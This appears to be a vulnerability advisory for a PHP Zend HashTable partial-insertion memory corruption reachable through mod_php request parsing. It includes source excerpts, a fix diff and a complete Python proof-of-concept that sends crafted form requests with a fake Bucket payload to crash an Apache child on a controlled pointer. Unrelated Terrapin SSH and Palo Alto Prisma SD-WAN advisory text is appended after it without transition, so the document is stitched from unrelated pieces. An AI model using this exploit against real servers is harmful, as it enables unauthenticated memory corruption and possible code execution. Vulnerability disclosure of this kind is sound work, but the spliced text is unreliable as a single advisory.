PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

Summary

Terrapin is a prefix truncation attack targeting the SSH protocol. More precisely, Terrapin breaks the integrity of SSH's secure channel. By carefully adjusting the sequence numbers during the handshake, an attacker can remove an arbitrary amount of messages sent by the client or server at the beginning of the secure channel without the client or server noticing it.

Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes.

Warning: To take effect, both the client and server must support this countermeasure.

As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.

Details

The SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSHMSGEXTINFO sent after the first message after SSHMSGNEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.

The attack works by an attacker injecting an arbitrary number of SSHMSGIGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSHMSGIGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.

For more details see https://terrapin-attack.com.

Impact

This attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

A denial of service (DoS) vulnerability in Palo Alto Networks Prisma SD-WAN ION devices enables an unauthenticated attacker in a network adjacent to a Prisma SD-WAN ION device to cause a system disruption by sending a specially crafted IPv6 packet.

An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.

The Palo Alto Networks Product Security Assurance team has evaluated the following open source software (OSS) CVEs as they relate to Prisma SD-WAN ION. While Prisma SD-WAN ION may include the affected OSS package, Prisma SD-WAN ION does not offer any scenarios required for an attacker to successfully exploit these vulnerabilities and is not impacted.

A denial-of-service (DoS) vulnerability in Palo Alto Networks Prisma® SD-WAN ION devices enables an unauthenticated attacker in a network adjacent to a Prisma SD-WAN ION device to disrupt the packet processing capabilities of the device by sending a burst of crafted packets to that device.